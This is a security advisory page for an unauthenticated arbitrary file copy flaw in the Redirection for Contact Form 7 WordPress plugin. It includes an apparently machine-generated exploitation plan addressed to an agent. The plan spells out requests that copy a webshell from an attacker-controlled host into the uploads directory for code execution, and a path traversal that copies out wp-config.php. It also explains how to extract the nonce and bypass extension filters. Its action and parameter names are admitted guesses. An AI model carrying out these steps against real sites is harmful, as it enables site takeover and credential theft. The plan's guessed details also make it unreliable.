Redirection for Contact Form 7 <= 3.2.7 - Unauthenticated Arbitrary File Copy via move_file_to_upload
Description
The Redirection for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'move_file_to_upload' function in all versions up to, and including, 3.2.7. This makes it possible for unauthenticated attackers to copy arbitrary files on the affected site's server. If 'allow_url_fopen' is set to 'On', it is possible to upload a remote file to the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.2.7Source Code
WordPress.org SVNThis research plan focuses on analyzing and exploiting CVE-2025-14800 in the **Redirection for Contact Form 7** plugin. The vulnerability allows unauthenticated attackers to copy arbitrary files to the server's upload directory, potentially leading to Remote Code Execution (RCE) if `allow_url_fopen`…
Show full research plan
This research plan focuses on analyzing and exploiting CVE-2025-14800 in the Redirection for Contact Form 7 plugin. The vulnerability allows unauthenticated attackers to copy arbitrary files to the server's upload directory, potentially leading to Remote Code Execution (RCE) if allow_url_fopen is enabled or sensitive file disclosure if local files are copied.
1. Vulnerability Summary
The vulnerability exists in the move_file_to_upload function within the Redirection for Contact Form 7 plugin (up to version 3.2.7). The function fails to validate the source file path/URL and the file type of the destination. Because the function is reachable via an unauthenticated entry point (likely an AJAX action or a hook triggered during form submission), an attacker can supply an arbitrary source (local file or remote URL) to be copied into the WordPress uploads directory.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX (
/wp-admin/admin-ajax.php) or a Contact Form 7 submission hook. - Action: Likely
wpcf7r_move_file_to_upload(inferred) or triggered as part of thewpcf7_mail_sent/wpcf7_submitworkflow where the plugin processes redirect logic. - Payload Parameter: Likely
file_urlorsource_pathandfile_name(inferred). - Authentication: None (Unauthenticated).
- Preconditions:
- Plugin version <= 3.2.7 must be active.
- Contact Form 7 must be active.
- For remote file upload:
allow_url_fopenmust beOninphp.ini.
3. Code Flow (Inferred)
- An unauthenticated request is sent to
admin-ajax.phpwith an action related to file handling or during a standard CF7 form submission. - The plugin's handler calls
move_file_to_upload(). - The function retrieves a source path/URL from the request (e.g.,
$_POST['file_url']). - The function determines the destination path within the WordPress uploads directory using
wp_upload_dir(). - The function uses
copy()orfile_put_contents(..., file_get_contents(...))to move the file. - SINK: The
copy()or equivalent function executes without verifying that the source is a legitimate temporary upload or that the destination extension is restricted (e.g., preventing.php).
4. Nonce Acquisition Strategy
Contact Form 7 and its extensions frequently use nonces for AJAX submissions.
- Identify the Shortcode: Find the standard CF7 shortcode (e.g.,
[contact-form-7 id="123" title="Contact form 1"]) and the Redirection settings for that form. - Test Data Setup:
- Create a Contact Form 7 form.
- Enable "Redirection" settings for that form.
- Create a public page:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[contact-form-7 id="XX" title="Contact form 1"]'(replace XX with the actual ID).
- Extraction:
- Navigate to the newly created page using
browser_navigate. - CF7 usually localizes its settings in
wpcf7or similar global JS objects. - Execute
browser_eval("wpcf7.apiSettings.nonce")or check for hidden fields:browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value"). - Check for plugin-specific nonces (e.g.,
wpcf7r_nonceorredirection_nonce).
- Navigate to the newly created page using
5. Exploitation Strategy
The goal is to copy a remote webshell to the uploads directory.
Step 1: Remote File Copy (RCE)
- Request Type: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:wpcf7r_move_file_to_upload(inferred - the agent must verify the exact action name in the source code).source_url:http://<attacker-ip>/shell.php.txt(A text file containing PHP code).file_name:rce.php_wpnonce: (The nonce obtained in Step 4).
Step 2: Local File Copy (Information Disclosure)
If allow_url_fopen is off, attempt to move wp-config.php to a readable location.
- Parameters:
action:wpcf7r_move_file_to_uploadsource_url:../../../wp-config.php(Path traversal to reach the root).file_name:config-backup.txt
6. Test Data Setup
- Install Plugins: Install
contact-form-7andwpcf7-redirectversion 3.2.7. - Create Form: Create a basic CF7 form.
- Configure Redirect: In the "Redirect Settings" tab of the form, ensure the redirection logic is active.
- Create Page: Place the form on a published page.
- Environment Check: Ensure
wp-content/uploadsis writable by the web server.
7. Expected Results
- HTTP Response: The server should return a 200 OK, possibly with a JSON body indicating success or the new file URL.
- File System: A new file (e.g.,
rce.php) should appear inwp-content/uploads/wpcf7-redirect/(or similar subdirectory).
8. Verification Steps
- Check File Existence: Use WP-CLI to verify the file was created:
wp eval "echo file_exists(wp_upload_dir()['basedir'] . '/rce.php') ? 'Success' : 'Failure';" - Verify Content: Check if the content matches the expected payload:
wp eval "echo file_get_contents(wp_upload_dir()['basedir'] . '/rce.php');" - RCE Check: Attempt to access the file via the browser and execute a command (e.g.,
phpinfo()).
9. Alternative Approaches
- Submission Hook: If there is no direct AJAX action, the vulnerability might be triggered by submitting a standard CF7 form. In this case, the payload would be included in the
wpcf7_submitrequest. - Path Traversal: If the
file_nameparameter is also vulnerable to traversal, try writing the file outside of the uploads directory (e.g., into the plugin folder or the web root). - Double Extensions: If there is a weak filter, try
shell.php.jpgorshell.php.php.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.